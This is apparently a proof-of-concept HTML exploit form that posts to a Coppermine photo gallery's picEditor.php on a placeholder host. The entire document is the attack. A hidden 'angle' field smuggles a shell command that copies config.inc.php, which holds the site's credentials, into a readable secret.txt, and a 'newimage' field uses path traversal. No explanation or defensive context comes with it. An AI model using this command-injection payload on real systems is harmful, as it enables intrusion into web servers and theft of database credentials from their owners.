&lt;html&gt;&lt;body&gt;&lt;center&gt;
&lt;form action=&quot;http://victim.com/cpg1414/picEditor.php&quot; method=&quot;post&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;newimage&quot; value=&quot;../../images/thumb_zip.jpg&quot;&gt;
&lt;input type=&quot;hidden&quot; name=&quot;quality&quot; value=&quot;50&quot;&gt;
&lt;input type=&quot;hidden&quot; 
name=&quot;angle&quot; value=&quot;180;cp include/config.inc.php include/secret.txt;&quot;&gt;
&lt;input type=&quot;submit&quot; value=&quot;Test!&quot;&gt;
&lt;/form&gt;
&lt;/center&gt;&lt;/body&gt;&lt;/html&gt;